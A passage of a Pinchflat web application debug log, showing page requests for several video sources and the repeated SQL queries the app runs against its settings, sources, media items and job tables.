s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:10.913 [debug] QUERY OK source="settings" db=0.1ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:10.914 [debug] QUERY OK source="sources" db=0.1ms idle=3.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 06:03:10.915 [debug] QUERY OK source="media_items" db=0.5ms idle=2.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [33] 06:03:10.915 [debug] QUERY OK source="media_items" db=0.6ms idle=2.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [33, 10, 0] 06:03:10.916 [debug] QUERY OK source="sources" db=0.1ms idle=3.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 06:03:10.916 [debug] QUERY OK source="media_items" db=0.1ms idle=3.3ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [33] 06:03:10.917 [debug] QUERY OK source="media_items" db=0.4ms idle=2.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [33, 10, 0] 06:03:10.917 [debug] QUERY OK source="sources" db=0.1ms idle=2.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 06:03:10.918 [debug] QUERY OK source="media_items" db=0.5ms idle=2.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [33] 06:03:10.919 [debug] QUERY OK source="media_items" db=0.8ms idle=2.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [33, 10, 0] 06:03:10.920 [info] Sent 200 in 13ms 06:03:11.072 [info] GET /sources/33/edit 06:03:11.073 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "33"} Pipelines: [:browser] 06:03:11.074 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=157.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 06:03:11.076 [debug] QUERY OK source="media_profiles" db=0.6ms queue=0.1ms idle=158.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 06:03:11.077 [debug] QUERY OK source="settings" db=0.7ms queue=0.2ms idle=158.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:11.078 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=159.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:11.079 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=159.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:11.088 [info] Sent 200 in 15ms 06:03:11.236 [info] GET /sources/34 06:03:11.237 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "34"} Pipelines: [:browser] 06:03:11.238 [debug] QUERY OK source="sources" db=0.6ms idle=163.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 06:03:11.239 [debug] QUERY OK source="media_profiles" db=0.6ms idle=162.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:03:11.240 [debug] QUERY OK source="tasks" db=0.6ms idle=162.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [34, "executing", "available", "scheduled", "retryable"] 06:03:11.241 [debug] QUERY OK source="oban_jobs" db=0.4ms queue=0.1ms idle=162.9ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7278] 06:03:11.242 [debug] QUERY OK source="settings" db=0.3ms idle=162.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:11.243 [debug] QUERY OK source="settings" db=0.1ms idle=4.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:11.243 [debug] QUERY OK source="settings" db=0.1ms idle=3.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:11.244 [debug] QUERY OK source="sources" db=0.1ms idle=3.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 06:03:11.245 [debug] QUERY OK source="media_items" db=0.5ms idle=3.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [34] 06:03:11.246 [debug] QUERY OK source="media_items" db=0.8ms idle=2.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [34, 10, 0] 06:03:11.247 [debug] QUERY OK source="sources" db=0.1ms idle=3.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 06:03:11.247 [debug] QUERY OK source="media_items" db=0.1ms idle=3.4ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [34] 06:03:11.247 [debug] QUERY OK source="media_items" db=0.3ms idle=2.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [34, 10, 0] 06:03:11.248 [debug] QUERY OK source="sources" db=0.1ms idle=2.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 06:03:11.249 [debug] QUERY OK source="media_items" db=0.4ms idle=2.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [34] 06:03:11.249 [debug] QUERY OK source="media_items" db=0.6ms idle=2.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [34, 10, 0] 06:03:11.250 [info] Sent 200 in 14ms 06:03:11.399 [info] GET /sources/30/ 06:03:11.400 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "30"} Pipelines: [:browser] 06:03:11.401 [debug] QUERY OK source="sources" db=0.5ms idle=153.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 06:03:11.402 [debug] QUERY OK source="media_profiles" db=0.6ms idle=153.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:03:11.404 [debug] QUERY OK source="tasks" db=0.6ms idle=154.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [30, "executing", "available", "scheduled", "retryable"] 06:03:11.404 [debug] QUERY OK source="oban_jobs" db=0.4ms idle=154.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7280] 06:03:11.405 [debug] QUERY OK source="settings" db=0.3ms idle=93.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:11.406 [debug] QUERY OK source="settings" db=0.4ms idle=4.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:11.408 [debug] QUERY OK source="settings" db=0.4ms idle=4.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:11.412 [debug] QUERY OK source="sources" db=0.4ms idle=7.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 06:03:11.415 [debug] QUERY OK source="media_items" db=2.2ms queue=0.1ms idle=7.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [30] 06:03:11.418 [debug] QUERY OK source="media_items" db=2.9ms queue=0.1ms idle=9.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [30, 10, 0] 06:03:11.420 [debug] QUERY OK source="sources" db=0.6ms idle=12.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", 